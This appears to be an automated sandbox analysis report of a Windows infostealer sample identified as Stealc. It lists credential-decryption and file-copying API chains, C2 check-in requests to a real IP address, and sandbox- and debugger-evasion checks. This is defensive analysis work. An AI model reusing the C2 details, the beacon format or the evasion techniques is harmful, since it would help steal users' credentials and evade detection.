Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A372A0 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree, 0_2_00A372A0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A3A2B0 CryptUnprotectData,LocalAlloc,LocalFree, 0_2_00A3A2B0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A3A210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 0_2_00A3A210
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A3C920 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat, 0_2_00A3C920
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: Binary string: my_library.pdbU source: file.exe, 00000000.00000003.1239089821.0000000004E3B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1282579993.0000000000A5C000.00000040.00000001.01000000.00000003.sdmp
Source: Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.1239089821.0000000004E3B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1282579993.0000000000A5C000.00000040.00000001.01000000.00000003.sdmp
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A440F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 0_2_00A440F0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A3E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_00A3E530
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A3F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00A3F7B0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A447C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen, 0_2_00A447C0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A31710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00A31710
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A3DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 0_2_00A3DB80
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A43B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_00A43B00
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A44B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00A44B60
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A3EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_00A3EE20
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A3BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 0_2_00A3BE40
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A3DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00A3DF10

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49699 -> 185.215.113.206:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.206/6c4adf523b719729.php
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 46 38 38 32 39 38 44 31 41 42 45 32 30 39 39 39 32 35 32 38 36 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 2d 2d 0d 0a Data Ascii: ------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="hwid"5F88298D1ABE2099925286------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="build"tale------AAKKKEBFCGDBGDGCFHCB--
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.206 185.215.113.206
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.7:49720
Source: Network traffic Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.7:49944
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A362D0 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle, 0_2_00A362D0
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: unknown HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 46 38 38 32 39 38 44 31 41 42 45 32 30 39 39 39 32 35 32 38 36 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 2d 2d 0d 0a Data Ascii: ------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="hwid"5F88298D1ABE2099925286------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="build"tale------AAKKKEBFCGDBGDGCFHCB--
Source: file.exe, 00000000.00000002.1283384849.00000000012FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1283384849.0000000001359000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1283384849.0000000001344000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1283384849.0000000001359000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.1283384849.0000000001359000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php//
Source: file.exe, 00000000.00000002.1283384849.0000000001344000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpID
Source: file.exe, 00000000.00000002.1283384849.0000000001359000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpJ
Source: file.exe, 00000000.00000002.1283384849.0000000001359000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpLMEM
Source: file.exe, 00000000.00000002.1283384849.0000000001344000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpQD
Source: file.exe, 00000000.00000002.1283384849.00000000012FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpft
Source: file.exe, 00000000.00000002.1283384849.0000000001359000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/sonation
Source: file.exe, file.exe, 00000000.00000003.1239089821.0000000004E3B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1282579993.0000000000A5C000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

System Summary
barindex
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Detected potential crypto function
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A70098 0_2_00A70098
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E211C5 0_2_00E211C5
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A8B198 0_2_00A8B198
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A62138 0_2_00A62138
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E0E100 0_2_00E0E100
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00DD82FC 0_2_00DD82FC
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A74288 0_2_00A74288
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E8E2AE 0_2_00E8E2AE
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A9E258 0_2_00A9E258
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00AAD39E 0_2_00AAD39E
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00ABB308 0_2_00ABB308
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E9D301 0_2_00E9D301
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E8D4FA 0_2_00E8D4FA
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A9D5A8 0_2_00A9D5A8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A745A8 0_2_00A745A8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A54573 0_2_00A54573
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A5E544 0_2_00A5E544
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00DE26D0 0_2_00DE26D0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00AB96FD 0_2_00AB96FD
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A766C8 0_2_00A766C8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00AAA648 0_2_00AAA648
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00AA6799 0_2_00AA6799
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A8D720 0_2_00A8D720
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A8B8A8 0_2_00A8B8A8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A898B8 0_2_00A898B8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E9B89D 0_2_00E9B89D
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A9F8D6 0_2_00A9F8D6
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A84868 0_2_00A84868
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E96831 0_2_00E96831
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E1383A 0_2_00E1383A
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00D8C963 0_2_00D8C963
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00AA4BA8 0_2_00AA4BA8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00AA0B88 0_2_00AA0B88
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A98BD9 0_2_00A98BD9
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00AAAC28 0_2_00AAAC28
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F14C7F 0_2_00F14C7F
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E8FDE8 0_2_00E8FDE8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A85DB9 0_2_00A85DB9
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A84DC8 0_2_00A84DC8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E99D69 0_2_00E99D69
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E94D6F 0_2_00E94D6F
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A9AD38 0_2_00A9AD38
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A8BD68 0_2_00A8BD68
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A61D78 0_2_00A61D78
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00AA1EE8 0_2_00AA1EE8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A78E78 0_2_00A78E78
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\file.exe Code function: String function: 00A34610 appears 316 times
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: file.exe Static PE information: Section: rcutauay ZLIB complexity 0.994974856856038
Source: classification engine Classification label: mal100.troj.evad.winEXE@1/0@0/1
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A49790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 0_2_00A49790
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A43970 CoCreateInstance,MultiByteToWideChar,lstrcpyn, 0_2_00A43970
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\MTRP2XE4.htm Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: file.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 Jump to behavior
Source: file.exe Static file information: File size 2159616 > 1048576
Source: file.exe Static PE information: Raw size of rcutauay is bigger than: 0x100000 < 0x1a4400
Source: Binary string: my_library.pdbU source: file.exe, 00000000.00000003.1239089821.0000000004E3B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1282579993.0000000000A5C000.00000040.00000001.01000000.00000003.sdmp
Source: Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.1239089821.0000000004E3B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1282579993.0000000000A5C000.00000040.00000001.01000000.00000003.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\file.exe Unpacked PE file: 0.2.file.exe.a30000.0.unpack :EW;.rsrc :W;.idata :W; :EW;rcutauay:EW;rnjpicgc:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;rcutauay:EW;rnjpicgc:EW;.taggant:EW;
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A49BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00A49BB0
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: file.exe Static PE information: real checksum: 0x21a765 should be: 0x2127d2
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: rcutauay
Source: file.exe Static PE information: section name: rnjpicgc
Source: file.exe Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F100E4 push edx; mov dword ptr [esp], 7FDD292Eh 0_2_00F1011D
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F100E4 push 2ACCDAC4h; mov dword ptr [esp], edx 0_2_00F101C6
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F100E4 push 0161CD5Ch; mov dword ptr [esp], esi 0_2_00F101EB
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00EBE0B3 push edx; mov dword ptr [esp], ecx 0_2_00EBE0CF
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00EBE0B3 push 3D100E8Ah; mov dword ptr [esp], ebx 0_2_00EBE0D7
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A5A0DC push eax; retf 0_2_00A5A0F1
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00EB0053 push 51A4AA46h; mov dword ptr [esp], edi 0_2_00EB007C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00D4F069 push ecx; mov dword ptr [esp], eax 0_2_00D4F09F
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00D4F069 push 4FEBE168h; mov dword ptr [esp], esp 0_2_00D4F0A7
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00D4F069 push ebx; mov dword ptr [esp], ecx 0_2_00D4F0CE
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00D4F069 push edx; mov dword ptr [esp], 212F5C51h 0_2_00D4F0D2
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F2703B push esi; mov dword ptr [esp], ecx 0_2_00F26F85
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F2703B push edi; mov dword ptr [esp], eax 0_2_00F27060
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F55021 push ecx; mov dword ptr [esp], eax 0_2_00F55055
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F3900D push edx; mov dword ptr [esp], esi 0_2_00F3902B
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E211C5 push 4083E189h; mov dword ptr [esp], ebx 0_2_00E2128B
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E211C5 push 6CF881E9h; mov dword ptr [esp], eax 0_2_00E2129C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E211C5 push ebp; mov dword ptr [esp], edx 0_2_00E21375
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E211C5 push edx; mov dword ptr [esp], ebx 0_2_00E213BE
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E211C5 push ebx; mov dword ptr [esp], edi 0_2_00E21402
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00ED21AF push 6CAE7A00h; mov dword ptr [esp], edi 0_2_00ED21DB
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F26194 push eax; mov dword ptr [esp], ecx 0_2_00F261B2
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A5A109 push eax; retf 0_2_00A5A119
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F9214A push edi; mov dword ptr [esp], ebx 0_2_00F9216C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F09122 push ecx; mov dword ptr [esp], esp 0_2_00F0916A
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F02123 push ecx; mov dword ptr [esp], esi 0_2_00F0217F
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E0E100 push edx; mov dword ptr [esp], ecx 0_2_00E0E151
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E0E100 push 4B25F8A7h; mov dword ptr [esp], ebp 0_2_00E0E159
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E0E100 push 17940D78h; mov dword ptr [esp], edx 0_2_00E0E225
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00E0E100 push 1BBC947Dh; mov dword ptr [esp], edi 0_2_00E0E23D
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F1D105 push 0E8A5FC2h; mov dword ptr [esp], edx 0_2_00F1D13C
Source: file.exe Static PE information: section name: rcutauay entropy: 7.954004161213286

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A49BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00A49BB0

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after checking locale)
Source: C:\Users\user\Desktop\file.exe Evasive API call chain: GetUserDefaultLangID, ExitProcess
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA3BB8 second address: EA3BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FAB30D3D446h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA3BC2 second address: EA3BCE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnp 00007FAB30C06326h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA3BCE second address: EA3BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E948DA second address: E948E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E948E0 second address: E948E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA3183 second address: EA31A0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAB30C06326h 0x00000008 jmp 00007FAB30C0632Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA31A0 second address: EA31A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA31A4 second address: EA31B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA31B2 second address: EA31B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA31B6 second address: EA31BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA31BC second address: EA31C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
